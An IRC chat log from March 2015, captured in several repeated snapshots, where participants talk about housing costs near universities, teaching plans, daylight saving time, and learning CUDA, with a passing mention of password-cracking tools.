[2015-03-13T01:50:06-0400] <jwoglom> and they can only accept so many, yeah
[2015-03-13T01:50:18-0400] <+awe> Maybe Ann Arbor, MI?
[2015-03-13T01:50:38-0400] <+awe> Though, the suburbs around Austin are really cheap.
[2015-03-13T01:50:59-0400] <bob_twinkles> if you're in-state UMD is probably up there
[2015-03-13T01:51:05-0400] <bob_twinkles> as far as affordability goes
[2015-03-13T01:51:14-0400] <bob_twinkles> to the school anyway, you have to live near DC which is expensive
[2015-03-13T01:51:30-0400] <+awe> ???
[2015-03-13T01:51:34-0400] <+awe> Are you talking about cost of school?
[2015-03-13T01:51:39-0400] <+awe> I'm talking about cost of home near school.
[2015-03-13T01:52:03-0400] <bob_twinkles> yeah, I was confused there for a sec
[2015-03-13T01:52:19-0400] <+awe> I'm still going on about where I could potentially teach lol
[2015-03-13T01:52:30-0400] <bob_twinkles> heh
[2015-03-13T01:53:00-0400] <bob_twinkles> I don't *think* pittsburgh is that expensive, but that's totally just "all the houses were really small" and not because I've actually looked at data
[2015-03-13T01:53:13-0400] <+awe> CMU is private anyway. :\
[2015-03-13T01:53:20-0400] <bob_twinkles> ah, right
[2015-03-13T01:54:16-0400] <bob_twinkles> apparently it's low-ish rent and expensive on everything else
[2015-03-13T01:54:20-0400] <LittleBobbyTables> I wish oclhashcat were open source :/
[2015-03-13T01:54:55-0400] <bob_twinkles> there's always john the ripper =P
[2015-03-13T01:55:42-0400] <LittleBobbyTables> shh
[2015-03-13T01:56:33-0400] <LittleBobbyTables> i want to start learning cuda
[2015-03-13T01:56:52-0400] <bob_twinkles> if you know C you basically know cuda
[2015-03-13T01:57:17-0400] <bob_twinkles> _tuning_ cuda on the other hand requires Big Boy Tools from nvidia and I think those are expensive AF
[2015-03-13T01:57:48-0400] <LittleBobbyTables> You can get them for free
[2015-03-13T01:57:54-0400] <LittleBobbyTables> well actually
[2015-03-13T01:57:56-0400] <LittleBobbyTables> I can get them for free
[2015-03-13T01:58:04-0400] <bob_twinkles> oh right, nvsight is free isn't it
[2015-03-13T01:58:14-0400] <LittleBobbyTables> Yeah
[2015-03-13T01:58:36-0400] <LittleBobbyTables> numbapro (python cuda) is free for students
[2015-03-13T01:58:44-0400] <bob_twinkles> I dunno, I tried getting the free-tier intel perf analysis tools and that was mostly a fail
[2015-03-13T01:58:50-0400] <bob_twinkles> it gave me a download link but now worky =(
[2015-03-13T01:59:17-0400] <LittleBobbyTables> you broke it
[2015-03-13T01:59:22-0400] <bob_twinkles> probably
[2015-03-13T02:00:03-0400] <bob_twinkles> someone in ##opengl recommend oprofile though, and that seems like it's pretty neat
[2015-03-13T02:00:15-0400] <bob_twinkles> wait shit when did 2:00 happen o_O
[2015-03-13T02:00:18-0400] <bob_twinkles> frickin DST
[2015-03-13T02:00:25-0400] <+awe> bob_twinkles: oh lord.
[2015-03-13T02:00:38-0400] <+awe> bob_twinkles: most teachers commute like 45+ mins to UCLA
[2015-03-13T02:00:39-0400] <+awe> that's insane.
[2015-03-13T02:00:44-0400] <bob_twinkles> meh, tomorrow is my easy class day
[2015-03-13T02:00:48-0400] <bob_twinkles> ouch
[2015-03-13T02:02:42-0400] <+awe> Welp, that's a problem for future me.
[2015-03-13T02:02:50-0400] <+awe> That poor sap.
[2015-03-13T02:03:34-0400] <+awe> Five-to-eight-years-from-now-me will have to figure out where to teach.
[2015-03-13T02:04:49-0400] <LittleBobbyTables> Meh whatever. I guess I'll learn C eventually.
[2015-03-13T02:05:11-0400] <LittleBobbyTables> oclhashcat should make do with a couple trillion hashes a second, I guess.
[2015-03-13T02:05:50-0400] <bob_twinkles> I can almost guarantee you that your naive implementation will not be faster than hashcat =P
[2015-03-13T02:06:12-0400] <LittleBobbyTables> I can guarantee that as well.
[2015-03-13T02:06:37-0400] <LittleBobbyTables> That's not the point though :P  I  still want to learn how to do it.
[2015-03-13T02:07:11-0400] <bob_twinkles> learning is always good
[2015-03-13T02:07:17-0400] • bob_twinkles: -> bed
[2015-03-13T02:07:27-0400] <bob_twinkles> goddamn DST is fuck'n me up f'real
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[2015-03-13T02:15:18-0400] <Tamini> god
[2015-03-13T02:15:25-0400] <Tamini> bob_twinkles went to bed before me
[2015-03-13T02:15:26-0400] <Tamini> this is bad
[2015-03-13T02:15:28-0400] • Tamini: bed
[2015-03-13T02:15:30-0400] <Tamini> gnight guys <3
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[2015-03-13T02:17:57-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-13T01:51:30-0400] <+awe> ???
[2015-03-13T01:51:34-0400] <+awe> Are you talking about cost of school?
[2015-03-13T01:51:39-0400] <+awe> I'm talking about cost of home near school.
[2015-03-13T01:52:03-0400] <bob_twinkles> yeah, I was confused there for a sec
[2015-03-13T01:52:19-0400] <+awe> I'm still going on about where I could potentially teach lol
[2015-03-13T01:52:30-0400] <bob_twinkles> heh
[2015-03-13T01:52:59-0400] <bob_twinkles> I don't *think* pittsburgh is that expensive, but that's totally just "all the houses were really small" and not because I've actually looked at data
[2015-03-13T01:53:12-0400] <+awe> CMU is private anyway. :\
[2015-03-13T01:53:20-0400] <bob_twinkles> ah, right
[2015-03-13T01:54:16-0400] <bob_twinkles> apparently it's low-ish rent and expensive on everything else
[2015-03-13T01:54:20-0400] <LittleBobbyTables> I wish oclhashcat were open source :/
[2015-03-13T01:54:55-0400] <bob_twinkles> there's always john the ripper =P
[2015-03-13T01:55:42-0400] <LittleBobbyTables> shh
[2015-03-13T01:56:33-0400] <LittleBobbyTables> i want to start learning cuda
[2015-03-13T01:56:52-0400] <bob_twinkles> if you know C you basically know cuda
[2015-03-13T01:57:17-0400] <bob_twinkles> _tuning_ cuda on the other hand requires Big Boy Tools from nvidia and I think those are expensive AF
[2015-03-13T01:57:48-0400] <LittleBobbyTables> You can get them for free
[2015-03-13T01:57:53-0400] <LittleBobbyTables> well actually
[2015-03-13T01:57:56-0400] <LittleBobbyTables> I can get them for free
[2015-03-13T01:58:04-0400] <bob_twinkles> oh right, nvsight is free isn't it
[2015-03-13T01:58:14-0400] <LittleBobbyTables> Yeah
[2015-03-13T01:58:36-0400] <LittleBobbyTables> numbapro (python cuda) is free for students
[2015-03-13T01:58:44-0400] <bob_twinkles> I dunno, I tried getting the free-tier intel perf analysis tools and that was mostly a fail
[2015-03-13T01:58:50-0400] <bob_twinkles> it gave me a download link but now worky =(
[2015-03-13T01:59:17-0400] <LittleBobbyTables> you broke it
[2015-03-13T01:59:22-0400] <bob_twinkles> probably
[2015-03-13T02:00:03-0400] <bob_twinkles> someone in ##opengl recommend oprofile though, and that seems like it's pretty neat
[2015-03-13T02:00:15-0400] <bob_twinkles> wait shit when did 2:00 happen o_O
[2015-03-13T02:00:18-0400] <bob_twinkles> frickin DST
[2015-03-13T02:00:25-0400] <+awe> bob_twinkles: oh lord.
[2015-03-13T02:00:38-0400] <+awe> bob_twinkles: most teachers commute like 45+ mins to UCLA
[2015-03-13T02:00:39-0400] <+awe> that's insane.
[2015-03-13T02:00:44-0400] <bob_twinkles> meh, tomorrow is my easy class day
[2015-03-13T02:00:48-0400] <bob_twinkles> ouch
[2015-03-13T02:02:42-0400] <+awe> Welp, that's a problem for future me.
[2015-03-13T02:02:50-0400] <+awe> That poor sap.
[2015-03-13T02:03:33-0400] <+awe> Five-to-eight-years-from-now-me will have to figure out where to teach.
[2015-03-13T02:04:49-0400] <LittleBobbyTables> Meh whatever. I guess I'll learn C eventually.
[2015-03-13T02:05:11-0400] <LittleBobbyTables> oclhashcat should make do with a couple trillion hashes a second, I guess.
[2015-03-13T02:05:49-0400] <bob_twinkles> I can almost guarantee you that your naive implementation will not be faster than hashcat =P
[2015-03-13T02:06:12-0400] <LittleBobbyTables> I can guarantee that as well.
[2015-03-13T02:06:37-0400] <LittleBobbyTables> That's not the point though :P  I  still want to learn how to do it.
[2015-03-13T02:07:11-0400] <bob_twinkles> learning is always good
[2015-03-13T02:07:17-0400] • bob_twinkles: -> bed
[2015-03-13T02:07:27-0400] <bob_twinkles> goddamn DST is fuck'n me up f'real
[2015-03-13T02:15:18-0400] <Tamini> god
[2015-03-13T02:15:25-0400] <Tamini> bob_twinkles went to bed before me
[2015-03-13T02:15:26-0400] <Tamini> this is bad
[2015-03-13T02:15:28-0400] • Tamini: bed
[2015-03-13T02:15:30-0400] <Tamini> gnight guys <3
[2015-03-13T02:17:59-0400] Mode is +nt
[2015-03-13T03:10:22-0400] <Pharyngeal> night
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[2015-03-13T11:29:35-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-13T01:51:39-0400] <+awe> I'm talking about cost of home near school.
[2015-03-13T01:52:03-0400] <bob_twinkles> yeah, I was confused there for a sec
[2015-03-13T01:52:19-0400] <+awe> I'm still going on about where I could potentially teach lol
[2015-03-13T01:52:30-0400] <bob_twinkles> heh
[2015-03-13T01:52:59-0400] <bob_twinkles> I don't *think* pittsburgh is that expensive, but that's totally just "all the houses were really small" and not because I've actually looked at data
[2015-03-13T01:53:12-0400] <+awe> CMU is private anyway. :\
[2015-03-13T01:53:20-0400] <bob_twinkles> ah, right
[2015-03-13T01:54:16-0400] <bob_twinkles> apparently it's low-ish rent and expensive on everything else
[2015-03-13T01:54:20-0400] <LittleBobbyTables> I wish oclhashcat were open source :/
[2015-03-13T01:54:55-0400] <bob_twinkles> there's always john the ripper =P
[2015-03-13T01:55:42-0400] <LittleBobbyTables> shh
[2015-03-13T01:56:33-0400] <LittleBobbyTables> i want to start learning cuda
[2015-03-13T01:56:52-0400] <bob_twinkles> if you know C you basically know cuda
[2015-03-13T01:57:17-0400] <bob_twinkles> _tuning_ cuda on the other hand requires Big Boy Tools from nvidia and I think those are expensive AF
[2015-03-13T01:57:48-0400] <LittleBobbyTables> You can get them for free
[2015-03-13T01:57:53-0400] <LittleBobbyTables> well actually
[2015-03-13T01:57:56-0400] <LittleBobbyTables> I can get them for free
[2015-03-13T01:58:04-0400] <bob_twinkles> oh right, nvsight is free isn't it
[2015-03-13T01:58:14-0400] <LittleBobbyTables> Yeah
[2015-03-13T01:58:36-0400] <LittleBobbyTables> numbapro (python cuda) is free for students
[2015-03-13T01:58:44-0400] <bob_twinkles> I dunno, I tried getting the free-tier intel perf analysis tools and that was mostly a fail
[2015-03-13T01:58:50-0400] <bob_twinkles> it gave me a download link but now worky =(
[2015-03-13T01:59:17-0400] <LittleBobbyTables> you broke it
[2015-03-13T01:59:22-0400] <bob_twinkles> probably
[2015-03-13T02:00:03-0400] <bob_twinkles> someone in ##opengl recommend oprofile though, and that seems like it's pretty neat
[2015-03-13T02:00:15-0400] <bob_twinkles> wait shit when did 2:00 happen o_O
[2015-03-13T02:00:18-0400] <bob_twinkles> frickin DST
[2015-03-13T02:00:25-0400] <+awe> bob_twinkles: oh lord.
[2015-03-13T02:00:38-0400] <+awe> bob_twinkles: most teachers commute like 45+ mins to UCLA
[2015-03-13T02:00:39-0400] <+awe> that's insane.
[2015-03-13T02:00:44-0400] <bob_twinkles> meh, tomorrow is my easy class day
[2015-03-13T02:00:48-0400] <bob_twinkles> ouch
[2015-03-13T02:02:42-0400] <+awe> Welp, that's a problem for future me.
[2015-03-13T02:02:50-0400] <+awe> That poor sap.
[2015-03-13T02:03:33-0400] <+awe> Five-to-eight-years-from-now-me will have to figure out where to teach.
[2015-03-13T02:04:49-0400] <LittleBobbyTables> Meh whatever. I guess I'll learn C eventually.
[2015-03-13T02:05:11-0400] <LittleBobbyTables> oclhashcat should make do with a couple trillion hashes a second, I guess.
[2015-03-13T02:05:49-0400] <bob_twinkles> I can almost guarantee you that your naive implementation will not be faster than hashcat =P
[2015-03-13T02:06:12-0400] <LittleBobbyTables> I can guarantee that as well.
[2015-03-13T02:06:37-0400] <LittleBobbyTables> That's not the point though :P  I  still want to learn how to do it.
[2015-03-13T02:07:11-0400] <bob_twinkles> learning is always good
[2015-03-13T02:07:17-0400] • bob_twinkles: -> bed
[2015-03-13T02:07:27-0400] <bob_twinkles> goddamn DST is fuck'n me up f'real
[2015-03-13T02:15:18-0400] <Tamini> god
[2015-03-13T02:15:25-0400] <Tamini> bob_twinkles went to bed before me
[2015-03-13T02:15:26-0400] <Tamini> this is bad
[2015-03-13T02:15:28-0400] • Tamini: bed
[2015-03-13T02:15:30-0400] <Tamini> gnight guys <3
[2015-03-13T03:10:22-0400] <Pharyngeal> night
[2015-03-13T11:18:03-0400] <LittleBobbyTables> awe, if you ever do find out my number without asking someone for it, text me :P
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[2015-03-13T11:30:32-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-13T01:51:39-0400] <+awe> I'm talking about cost of home near school.
[2015-03-13T01:52:03-0400] <bob_twinkles> yeah, I was confused there for a sec
[2015-03-13T01:52:19-0400] <+awe> I'm still going on about where I could potentially teach lol
[2015-03-13T01:52:30-0400] <bob_twinkles> heh
[2015-03-13T01:52:59-0400] <bob_twinkles> I don't *think* pittsburgh is that expensive, but that's totally just "all the houses were really small" and not because I've actually looked at data
[2015-03-13T01:53:12-0400] <+awe> CMU is private anyway. :\
[2015-03-13T01:53:20-0400] <bob_twinkles> ah, right
[2015-03-13T01:54:16-0400] <bob_twinkles> apparently it's low-ish rent and expensive on everything else
[2015-03-13T01:54:20-0400] <LittleBobbyTables> I wish oclhashcat were open source :/
[2015-03-13T01:54:55-0400] <bob_twinkles> there's always john the ripper =P
[2015-03-13T01:55:42-0400] <LittleBobbyTables> shh
[2015-03-13T01:56:33-0400] <LittleBobbyTables> i want to start learning cuda
[2015-03-13T01:56:52-0400] <bob_twinkles> if you know C you basically know cuda
[2015-03-13T01:57:17-0400] <bob_twinkles> _tuning_ cuda on the other hand requires Big Boy Tools from nvidia and I think those are expensive AF
[2015-03-13T01:57:48-0400] <LittleBobbyTables> You can get them for free
[2015-03-13T01:57:53-0400] <LittleBobbyTables> well actually
[2015-03-13T01:57:56-0400] <LittleBobbyTables> I can get them for free
[2015-03-13T01:58:04-0400] <bob_twinkles> oh right, nvsight is free isn't it
[2015-03-13T01:58:14-0400] <LittleBobbyTables> Yeah
[2015-03-13T01:58:36-0400] <LittleBobbyTables> numbapro (python cuda) is free for students
[2015-03-13T01:58:44-0400] <bob_twinkles> I dunno, I tried getting the free-tier intel perf analysis tools and that was mostly a fail
[2015-03-13T01:58:50-0400] <bob_twinkles> it gave me a download link but now worky =(
[2015-03-13T01:59:17-0400] <LittleBobbyTables> you broke it
[2015-03-13T01:59:22-0400] <bob_twinkles> probably
[2015-03-13T02:00:03-0400] <bob_twinkles> someone in ##opengl recommend oprofile though, and that seems like it's pretty neat
[2015-03-13T02:00:15-0400] <bob_twinkles> wait shit when did 2:00 happen o_O
[2015-03-13T02:00:18-0400] <bob_twinkles> frickin DST
[2015-03-13T02:00:25-0400] <+awe> bob_twinkles: oh lord.
[2015-03-13T02:00:38-0400] <+awe> bob_twinkles: most teachers commute like 45+ mins to UCLA
[2015-03-13T02:00:39-0400] <+awe> that's insane.
[2015-03-13T02:00:44-0400] <bob_twinkles> meh, tomorrow is my easy class day
[2015-03-13T02:00:48-0400] <bob_twinkles> ouch
[2015-03-13T02:02:42-0400] <+awe> Welp, that's a problem for future me.
[2015-03-13T02:02:50-0400] <+awe> That poor sap.
[2015-03-13T02:03:33-0400] <+awe> Five-to-eight-years-from-now-me will have to figure out where to teach.
[2015-03-13T02:04:49-0400] <LittleBobbyTables> Meh whatever. I guess I'll learn C eventually.
[2015-03-13T02:05:11-0400] <LittleBobbyTables> oclhashcat should make do with a couple trillion hashes a second, I guess.
[2015-03-13T02:05:49-0400] <bob_twinkles> I can almost guarantee you that your naive implementation will not be faster than hashcat =P
[2015-03-13T02:06:12-0400] <LittleBobbyTables> I can guarantee that as well.
[2015-03-13T02:06:37-0400] <LittleBobbyTables> That's not the point though :P  I  still want to learn how to do it.
[2015-03-13T02:07:11-0400] <bob_twinkles> learning is always good
[2015-03-13T02:07:17-0400] • bob_twinkles: -> bed
[2015-03-13T02:07:27-0400] <bob_twinkles> goddamn DST is fuck'n me up f'real
[2015-03-13T02:15:18-0400] <Tamini> god
[2015-03-13T02:15:25-0400] <Tamini> bob_twinkles went to bed before me
[2015-03-13T02:15:26-0400] <Tamini> this is bad
[2015-03-13T02:15:28-0400] • Tamini: bed
[2015-03-13T02:15:30-0400] <Tamini> gnight guys <3
[2015-03-13T03:10:22-0400] <Pharyngeal> night
[2015-03-13T11:18:03-0400] <LittleBobbyTables> awe, if you ever do find out my number without asking someone for it, text me :P
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[2015-03-13T12:09:53-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-13T01:51:39-0400] <+awe> I'm talking about cost of home near school.
[2015-03-13T01:52:03-0400] <bob_twinkles> yeah, I was confused there for a sec
[2015-03-13T01:52:19-0400] <+awe> I'm still going on about where I could potentially teach lol
[2015-03-13T01:52:30-0400] <bob_twinkles> heh
[2015-03-13T01:52:59-0400] <bob_twinkles> I don't *think* pittsburgh is that expensive, but that's totally just "all the houses were really small" and not because I've actually looked at data
[2015-03-13T01:53:12-0400] <+awe> CMU is private anyway. :\
[2015-03-13T01:53:20-0400] <bob_twinkles> ah, right
[2015-03-13T01:54:16-0400] <bob_twinkles> apparently it's low-ish rent and expensive on everything else
[2015-03-13T01:54:20-0400] <LittleBobbyTables> I wish oclhashcat were open source :/
[2015-03-13T01:54:55-0400] <bob_twinkles> there's always john the ripper =P
[2015-03-13T01:55:42-0400] <LittleBobbyTables> shh
[2015-03-13T01:56:33-0400] <LittleBobbyTables> i want to start learning cuda
[2015-03-13T01:56:52-0400] <bob_twinkles> if you know C you basically know cuda
[2015-03-13T01:57:17-0400] <bob_twinkles> _tuning_ cuda on the other hand requires Big Boy Tools from nvidia and I think those are expensive AF
[2015-03-13T01:57:48-0400] <LittleBobbyTables> You can get them for free
[2015-03-13T01:57:53-0400] <LittleBobbyTables> well actually
[2015-03-13T01:57:56-0400] <LittleBobbyTables> I can get them for free
[2015-03-13T01:58:04-0400] <bob_twinkles> oh right, nvsight is free isn't it
[2015-03-13T01:58:14-0400] <LittleBobbyTables> Yeah
[2015-03-13T01:58:36-0400] <LittleBobbyTables> numbapro (python cuda) is free for students
[2015-03-13T01:58:44-0400] <bob_twinkles> I dunno, I tried getting the free-tier intel perf analysis tools and that was mostly a fail
[2015-03-13T01:58:50-0400] <bob_twinkles> it gave me a download link but now worky =(
[2015-03-13T01:59:17-0400] <LittleBobbyTables> you broke it
[2015-03-13T01:59:22-0400] <bob_twinkles> probably
[2015-03-13T02:00:03-0400] <bob_twinkles> someone in ##opengl recommend oprofile though, and that seems like it's pretty neat
[2015-03-13T02:00:15-0400] <bob_twinkles> wait shit when did 2:00 happen o_O
[2015-03-13T02:00:18-0400] <bob_twinkles> frickin DST
[2015-03-13T02:00:25-0400] <+awe> bob_twinkles: oh lord.
[2015-03-13T02:00:38-0400] <+awe> bob_twinkles: most teachers commute like 45+ mins to UCLA
[2015-03-13T02:00:39-0400] <+awe> that's insane.
[2015-03-13T02:00:44-0400] <bob_twinkles> meh, tomorrow is my easy class day
[2015-03-13T02:00:48-0400] <bob_twinkles> ouch
[2015-03-13T02:02:42-0400] <+awe> Welp, that's a problem for future me.
[2015-03-13T02:02:50-0400] <+awe> That poor sap.
[2015-03-13T02:03:33-0400] <+awe> Five-to-eight-years-from-now-me will have to figure out where to teach.
[2015-03-13T02:04:49-0400] <LittleBobbyTables> Meh whatever. I guess I'll learn C eventually.
[2015-03-13T02:05:11-0400] <LittleBobbyTables> oclhashcat should make do with a couple trillion hashes a second, I guess.
[2015-03-13T02:05:49-0400] <bob_twinkles> I can almost guarantee you that your naive implementation will not be faster than hashcat =P
[2015-03-13T02:06:12-0400] <LittleBobbyTables> I can guarantee that as well.
[2015-03-13T02:06:37-0400] <LittleBobbyTables> That's not the point though :P  I  still want to learn how to do it.
[2015-03-13T02:07:11-0400] <bob_twinkles> learning is always good
[2015-03-13T02:07:17-0400] • bob_twinkles: -> bed
[2015-03-13T02:07:27-0400] <bob_twinkles> goddamn DST is fuck'n me up f'real
[2015-03-13T02:15:18-0400] <Tamini> god
[2015-03-13T02:15:25-0400] <Tamini> bob_twinkles went to bed before me
[2015-03-13T02:15:26-0400] <Tamini> this is bad
[2015-03-13T02:15:28-0400] • Tamini: bed
[2015-03-13T02:15:30-0400] <Tamini> gnight guys <3
[2015-03-13T03:10:22-0400] <Pharyngeal> night
[2015-03-13T11:18:03-0400] <LittleBobbyTables> awe, if you ever do find out my number without asking someone for it, text me :P
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[2015-03-13T12:10:47-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-13T01:51:39-0400] <+awe> I'm talking about cost of home near school.
[2015-03-13T01:52:03-0400] <bob_twinkles> yeah, I was confused there for a sec
[2015-03-13T01:52:19-0400] <+awe> I'm still going on about where I could potentially teach lol
[2015-03-13T01:52:30-0400] <bob_twinkles> heh
[2015-03-13T01:52:59-0400] <bob_twinkles> I don't *think* pittsburgh is that expensive, but that's totally just "all the houses were really small" and not because I've actually looked at data
[2015-03-13T01:53:12-0400] <+awe> CMU is private anyway. :\
[2015-03-13T01:53:20-0400] <bob_twinkles> ah, right
[2015-03-13T01:54:16-0400] <bob_twinkles> apparently it's low-ish rent and expensive on everything else
[2015-03-13T01:54:20-0400] <LittleBobbyTables> I wish oclhashcat were open source :/
[2015-03-13T01:54:55-0400] <bob_twinkles> there's always john the ripper =P
[2015-03-13T01:55:42-0400] <LittleBobbyTables> shh
[2015-03-13T01:56:33-0400] <LittleBobbyTables> i want to start learning cuda
[2015-03-13T01:56:52-0400] <bob_twinkles> if you know C you basically know cuda
[2015-03-13T01:57:17-0400] <bob_twinkles> _tuning_ cuda on the other hand requires Big Boy Tools from nvidia and I think those are expensive AF
[2015-03-13T01:57:48-0400] <LittleBobbyTables> You can get them for free
[2015-03-13T01:57:53-0400] <LittleBobbyTables> well actually
[2015-03-13T01:57:56-0400] <LittleBobbyTables> I can get them for free
[2015-03-13T01:58:04-0400] <bob_twinkles> oh right, nvsight is free isn't it
[2015-03-13T01:58:14-0400] <LittleBobbyTables> Yeah
[2015-03-13T01:58:36-0400] <LittleBobbyTables> numbapro (python cuda) is free for students
[2015-03-13T01:58:44-0400] <bob_twinkles> I dunno, I tried getting the free-tier intel perf analysis tools and that was mostly a fail
[2015-03-13T01:58:50-0400] <bob_twinkles> it gave me a download link but now worky =(
[2015-03-13T01:59:17-0400] <LittleBobbyTables> you broke it
[2015-03-13T01:59:22-0400] <bob_twinkles> probably
[2015-03-13T02:00:03-0400] <bob_twinkles> someone in ##opengl recommend oprofile though, and that seems like it's pretty neat
[2015-03-13T02:00:15-0400] <bob_twinkles> wait shit when did 2:00 happen o_O
[2015-03-13T02:00:18-0400] <bob_twinkles> frickin DST
[2015-03-13T02:00:25-0400] <+awe> bob_twinkles: oh lord.
[2015-03-13T02:00:38-0400] <+awe> bob_twinkles: most teachers commute like 45+ mins to UCLA
[2015-03-13T02:00:39-0400] <+awe> that's insane.
[2015-03-13T02:00:44-0400] <bob_twinkles> meh, tomorrow is my easy class day
[2015-03-13T02:00:48-0400] <bob_twinkles> ouch
[2015-03-13T02:02:42-0400] <+awe> Welp, that's a problem for future me.
[2015-03-13T02:02:50-0400] <+awe> That poor sap.
[2015-03-13T02:03:33-0400] <+awe> Five-to-eight-years-from-now-me will have to figure out where to teach.
[2015-03-13T02:04:49-0400] <LittleBobbyTables> Meh whatever. I guess I'll learn C eventually.
[2015-03-13T02:05:11-0400] <LittleBobbyTables> oclhashcat should make do with a couple trillion hashes a second, I guess.
[2015-03-13T02:05:49-0400] <bob_twinkles> I can almost guarantee you that your naive implementation will not be faster than hashcat =P
[2015-03-13T02:06:12-0400] <LittleBobbyTables> I can guarantee that as well.
[2015-03-13T02:06:37-0400] <LittleBobbyTables> That's not the point though :P  I  still want to learn how to do it.
[2015-03-13T02:07:11-0400] <bob_twinkles> learning is always good
[2015-03-13T02:07:17-0400] • bob_twinkles: -> bed
[2015-03-13T02:07:27-0400] <bob_twinkles> goddamn DST is fuck'n me up f'real
[2015-03-13T02:15:18-0400] <Tamini> god
[2015-03-13T02:15:25-0400] <Tamini> bob_twinkles went to bed before me
[2015-03-13T02:15:26-0400] <Tamini> this is bad
[2015-03-13T02:15:28-0400] • Tamini: bed
[2015-03-13T02:15:30-0400] <Tamini> gnight guys <3
[2015-03-13T03:10:22-0400] <Pharyngeal> night
[2015-03-13T11:18:03-0400] <LittleBobbyTables> awe, if you ever do find out my number without asking someone for it, text me :P
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[2015-03-13T01:51:39-0400] <+awe> I'm talking about cost of home near school.
[2015-03-13T01:52:03-0400] <bob_twinkles> yeah, I was confused there for a sec
[2015-03-13T01:52:19-0400] <+awe> I'm still going on about where I could potentially teach lol
[2015-03-13T01:52:30-0400] <bob_twinkles> heh
[2015-03-13T01:52:59-0400] <bob_twinkles> I don't *think* pittsburgh is that expensive, but that's totally just "all the houses were really small" and not because I've actually looked at data
[2015-03-13T01:53:12-0400] <+awe> CMU is private anyway. :\
[2015-03-13T01:53:20-0400] <bob_twinkles> ah, right
[2015-03-13T01:54:16-0400] <bob_twinkles> apparently it's low-ish rent and expensive on everything else
[2015-03-13T01:54:20-0400] <LittleBobbyTables> I wish oclhashcat were open source :/
[2015-03-13T01:54:55-0400] <bob_twinkles> there's always john the ripper =P
[2015-03-13T01:55:42-0400] <LittleBobbyTables> shh
[2015-03-13T01:56:33-0400] <LittleBobbyTables> i want to start learning cuda
[2015-03-13T01:56:52-0400] <bob_twinkles> if you know C you basically know cuda
[2015-03-13T01:57:17-0400] <bob_twinkles> _tuning_ cuda on the other hand requires Big Boy Tools from nvidia and I think those are expensive AF
[2015-03-13T01:57:48-0400] <LittleBobbyTables> You can get them for free
[2015-03-13T01:57:53-0400] <LittleBobbyTables> well actually
[2015-03-13T01:57:56-0400] <LittleBobbyTables> I can get them for free
[2015-03-13T01:58:04-0400] <bob_twinkles> oh right, nvsight is free isn't it
[2015-03-13T01:58:14-0400] <LittleBobbyTables> Yeah
[2015-03-13T01:58:36-0400] <LittleBobbyTables> numbapro (python cuda) is free for students
[2015-03-13T01:58:44-0400] <bob_twinkles> I dunno, I tried getting the free-tier intel perf analysis tools and that was mostly a fail
[2015-03-13T01:58:50-0400] <bob_twinkles> it gave me a download link but now worky =(
[2015-03-13T01:59:17-0400] <LittleBobbyTables> you broke it
[2015-03-13T01:59:22-0400] <bob_twinkles> probably
[2015-03-13T02:00:03-0400] <bob_twinkles> someone in ##opengl recommend oprofile though, and that seems like it's pretty neat
[2015-03-13T02:00:15-0400] <bob_twinkles> wait shit when did 2:00 happen o_O
[2015-03-13T02:00:18-0400] <bob_twinkles> frickin DST
[2015-03-13T02:00:25-0400] <+awe> bob_twinkles: oh lord.
[2015-03-13T02:00:38-0400] <+awe> bob_twinkles: most teachers commute like 45+ mins to UCLA
[2015-03-13T02:00:39-0400] <+awe> that's insane.
[2015-03-13T02:00:44-0400] <bob_twinkles> meh, tomorrow is my easy class day
[2015-03-13T02:00:48-0400] <bob_twinkles> ouch
[2015-03-13T02:02:42-0400] <+awe> Welp, that's a problem for future me.
[2015-03-13T02:02:50-0400] <+awe> That poor sap.
[2015-03-13T02:03:33-0400] <+awe> Five-to-eight-years-from-now-me will have to figure out where to teach.
[2015-03-13T02:04:49-0400] <LittleBobbyTables> Meh whatever. I guess I'll learn C eventually.
[2015-03-13T02:05:11-0400] <LittleBobbyTables> oclhashcat should make do with a couple trillion hashes a second, I guess.
[2015-03-13T02:05:49-0400] <bob_twinkles> I can almost guarantee you that your naive implementation will not be faster than hashcat =P
[2015-03-13T02:06:12-0400] <LittleBobbyTables> I can guarantee that as well.
[2015-03-13T02:06:37-0400] <LittleBobbyTables> That's not the point though :P  I  still want to learn how to do it.
[2015-03-13T02:07:11-0400] <bob_twinkles> learning is always good
[2015-03-13T02:07:17-0400] • bob_twinkles: -> bed
[2015-03-13T02:07:27-0400] <bob_twinkles> goddamn DST is fuck'n me up f'real
[2015-03-13T02:15:18-0400] <Tamini> god
[2015-03-13T02:15:25-0400] <Tamini> bob_twinkles went to bed before me
[2015-03-13T02:15:26-0400] <Tamini> this is bad
[2015-03-13T02:15:28-0400] • Tamini: bed
[2015-03-13T02:15:30-0400] <Tamini> gnight guys <3
[2015-03-13T03:10:22-0400] <Pharyngeal> night
[2015-03-13T11:18:03-0400] <LittleBobbyTables> awe, if you ever do find out my number without asking someone for it, text me :P
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[2015-03-13T13:12:55-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-13T01:51:39-0400] <+awe> I'm talking about cost of home near school.
[2015-03-13T01:52:03-0400] <bob_twinkles> yeah, I was confused there for a sec
[2015-03-13T01:52:19-0400] <+awe> I'm still going on about where I could potentially teach lol
[2015-03-13T01:52:30-0400] <bob_twinkles> heh
[2015-03-13T01:52:59-0400] <bob_twinkles> I don't *think* pittsburgh is that expensive, but that's totally just "all the houses were really small" and not because I've actually looked at data
[2015-03-13T01:53:12-0400] <+awe> CMU is private anyway. :\
[2015-03-13T01:53:20-0400] <bob_twinkles> ah, right
[2015-03-13T01:54:16-0400] <bob_twinkles> apparently it's low-ish rent and expensive on everything else
[2015-03-13T01:54:20-0400] <LittleBobbyTables> I wish oclhashcat were open source :/
[2015-03-13T01:54:55-0400] <bob_twinkles> there's always john the ripper =P
[2015-03-13T01:55:42-0400] <LittleBobbyTables> shh
[2015-03-13T01:56:33-0400] <LittleBobbyTables> i want to start learning cuda
[2015-03-13T01:56:52-0400] <bob_twinkles> if you know C you basically know cuda
[2015-03-13T01:57:17-0400] <bob_twinkles> _tuning_ cuda on the other hand requires Big Boy Tools from nvidia and I think those are expensive AF
[2015-03-13T01:57:48-0400] <LittleBobbyTables> You can get them for free
[2015-03-13T01:57:53-0400] <LittleBobbyTables> well actually
